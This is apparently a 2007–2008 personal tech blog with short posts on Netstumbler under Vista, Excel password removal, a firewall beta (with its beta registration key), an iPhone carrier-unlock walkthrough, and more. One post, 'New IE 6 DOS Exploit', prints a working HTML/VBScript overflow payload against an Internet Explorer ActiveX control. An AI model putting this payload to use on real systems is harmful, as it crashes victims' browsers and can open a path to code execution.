Dell E1705 with Vista and Netstumbler

UPDATE I have this working on a Dell XPS M1710 as well. This uses an Intel 3945ABG wireless card. Perform the same steps below and NS should work.

I have figured out how to get Vista and Netstumbler to work on the Dell Inspiron E1705 laptop.
First, go to Dell.com and download the XP driver for the wireless card you have installed on your laptop (typically Broadcom)
Next, run the downloaded executable but do not go through the installation process, just extract the files.
Next, go to your Device Manager in Vista and right click on the Broadcom wireless card.
Click on Update drivers.
Point Vista to the location where you extracted the Dell wireless drivers
Follow the appropriate "Next" buttons
Download and install Netstumbler 4.0 and have fun. It should work properly.

Still can't get NS to work?

Open a command prompt, type netsh and press enter

Next type:

wlan show networks mode=bssid


STILL cant get it to work for you? Download this C# application that will work. Its a Netstumbler clone that works with any wireless card. Vista compatible too :)

NetStumbler Replacement for Vista

AdminonFriday 10 August 2007 - 09:31:48
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 Trying to remove the password on an Excel Document?

How many times have you wanted to remove the annoying password protection from Excel documents? Now you can. Click on Downloads and download the add-in for Excel. This will allow you to remove the Excel password on the worksheet. Pretty neat, huh?

Remove Excel Passwords
AdminonMonday 23 July 2007 - 17:25:00
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 The specified network password is not correct error message on Vista

If you are having a problem connecting to a remote share, and are receiving the following error "The specified network password is not correct", first verify that the passwords are in fact correct. Second, verify that the system clocks on both machines are correct. You may see this error message if the clocks are not in synch.
You may also be told that the account is locked. Unlock the account on the machine you are connecting to via Computer Management.
AdminonSunday 06 May 2007 - 00:27:56
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 Sunbelt Personal Firewall for Vista

Sunbelt Software is pleased to announce that SPF 4.6.1820 is now available for download:

http://www.sunbeltsoftware.com/rd/?id=080602BL-SPF_BETA5

Changes in this build include:

4.6.1820.0 - Add Beta warning text on InstallWelcome dialog

4.6.1819.0 - Installation error when the installed sbfwim.sys driver is read only

4.6.1817.0 - Commented a call to config.sendCfgToDriver() when a UI disconnects. Inside this call a synchronized method was called and the lock was already hold in the same thread, thus causing a deadlock in the service.

4.6.1816.0 - Add .cat file to installer so security alert no longer is shown

4.6.1813.0 - Increased font size in tabs texts.
Display protocol number and name in Network alerts.

4.6.1810 - Correctly update "Apply" button when the user saves a change in "Advanced Packet Filter" and "Behavior Blocking" dialogs.
Fixed a bug that prevented to display the registration dialog from the context menu of the systray icon.
Added a capability to tab through the items in a dialog (the tab sequence was broken due to the controls used).
Fix problem with Simple vs. Advanced setting detected on Upgrade.

4.6.1807 - New set of INF files. These files pass the signability test of WLK.
Copy of miniport INF file manually.
Roll back: the change made to delete remote files when the upload was cancelled was causing completed uploads to get corrupted.

System Requirements

- Microsoft Internet Explorer 5.5 or higher
- IBM Compatible 400MHZ Computer with at least 256MB of RAM
- Windows 2000 Pro SP4R1 or greater, Windows XP SP2 or greater (Pro, Home, Media Center), Windows Vista (incl. SP1)
- 15mb of available hard drive space

Please note that this beta build only supports 32-bit versions of Windows, not 64 bit versions.

Upgrading from Earlier Versions of SPF

This beta build will upgrade earlier builds of SPF. If you currently have a version of SPF installed, you can download and run the full setup file listed just above.

Registration Keys

Following installation you can register SPF with the registration key or start a 30 day trial period for the software. Please use the following key to activate the product:

SPF Registration Key 44M72-KM9D8-M86EE-E7CM8-C5CEF

This is a special key generated for use during beta testing and will expire on 7/31/2008.

Known Issues/Limitations

Due to the drivers not being signed by Microsoft, you will notice an alert from Windows regarding the driver being installed. Please allow the driver to install by clicking on the appropriate button.

Norton 2008/Norton LiveUpdate users may see CPU spikes when SPF is installed on the same machine.

Questions & Issues

Please keep in mind that this is beta-quality software. As such, you can expect to encounter bugs and other issues, some of which could cause catastrophic system crashes. This beta software should not be installed or used in a production environment.
AdminonWednesday 21 May 2008 - 11:33:46
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 Family Guy Episode Download

AdminonMonday 31 December 2007 - 01:38:39
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 GMAIL Storage Increase

It appears Google is trying to keep up with the competition (Yahoo etc.). They have increased their storage limit on free accounts to 3560 megs, which apparently is still not enough for some users. Yahoo has an unlimited storage limit. It might be a matter of time before Google removes the storage limit and ceases to charge users for extra space.
AdminonWednesday 17 October 2007 - 11:51:26
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 Unlock your iPhone FREE

It is necessary to have your iPhone with openSSH and the BSD Subsystem on a WiFi network.

You will need to have the folder /usr/local/etc created (you can do this in your SCP client or your terminal with mkdir) in order to save the Minicom default file. But this is probably not necessary if you can just change the modem port and then just get to the terminal.

- Download all required files from
- Use an SCP client to upload bbupdater to /bin
- Upload ICE03.14.08_G.fls and a nor file (you can read the guides on how to get this file or create it)
- Upload the iUnlock file

It's necessary that ALL files have Execute permissions. In your SCP client you can click on properties and enable all Xs in the file. This goes for all your uploaded files.

SSH into your iPhone (on windows you can use PuTTY which is free to download).
First time you SSH it will take a while to generate the keys.
Execute the following command to stop Commcenter
launchctl unload -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist
change to your /usr/bin folder
execute

iUnlock ICE03.14.08_G.fls nor
Wait 20 minutes
You'll get some error messages, you can safely ignore them

Run
bbupdater -v

Now you need to open minicom
minicom -s

You need to set the modem to tty.baseband. Look for the guide.
Once in the terminal test your communication with the baseband.
Issue an AT command and hit enter. You should get an OK.

Then issue the following commands:

AT+CLCK="PN",0,"00000000"

You should get an OK
and then

AT+CLCK="PN",2

which should return +CLCK: 0

Reboot your iPhone, insert your SIM card and make your calls!
AdminonWednesday 12 September 2007 - 09:38:58
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 New IE 6 DOS Exploit

<object classid="clsid:421516C1-3CF8-11D2-952A-00C04FA34F05" id="Chroma"></object><input language=VBScript onclick=jojo() type=button value="Click here to start Exploit"><script language='vbscript'> Sub jojo
  buff = String(999999, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaA")

  get_EDX = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccddddddddddeee"

  buff1 = String(999999, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBbb")

  egg = buff + get_EDX + buff1 + scode

  Chroma.Color = egg
 End Sub
</script>
AdminonTuesday 31 July 2007 - 22:58:39
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 Mountain lions? Give them your kids!

Apparently, the state of Colorado wants you to survive mountain lions, but not your kids.

AdminonFriday 13 July 2007 - 10:07:26
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 Was this you as a kid in school?

A teacher gets a bit upset about a "hacker" student in class, then at the expense of the student, has a little bit of fun. Cute read...

Full Article Here: http://blogs.ittoolbox.com/security/investigator/archives/im-in-your-leenucks-box-changing-your-password-17600

AdminonFriday 13 July 2007 - 10:06:05
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 Paying the Bills

AdminonFriday 25 May 2007 - 08:44:22
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 Gmail Doubles Maximum Attachment Size to 20 MB

Gmail attachment sizes are no longer at 10MB. Users can now send up to 20MB of files. Be aware, not all email providers will allow more than 10MB of attachments.
However, sending 20MB attachments from Gmail to Gmail shouldnt be an issue.
AdminonTuesday 22 May 2007 - 22:49:34
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 Free Fon Router

Hey folks, if anyone wants a free FON (www.fon.com) router, send me a message. You will need to create an account first.
AdminonWednesday 04 April 2007 - 14:58:15
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 Uninstall U3 from USB Flash Drive

Many of you wrote in to ask if there is a way to completely remove the U3 feature on your USB flash drives. The answer is yes, you can. Download and run the file below...it will remove U3 from your flash drive

U3 Uninstaller

AdminonFriday 30 March 2007 - 11:40:55
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 Media Network

AdminonWednesday 28 March 2007 - 22:19:07
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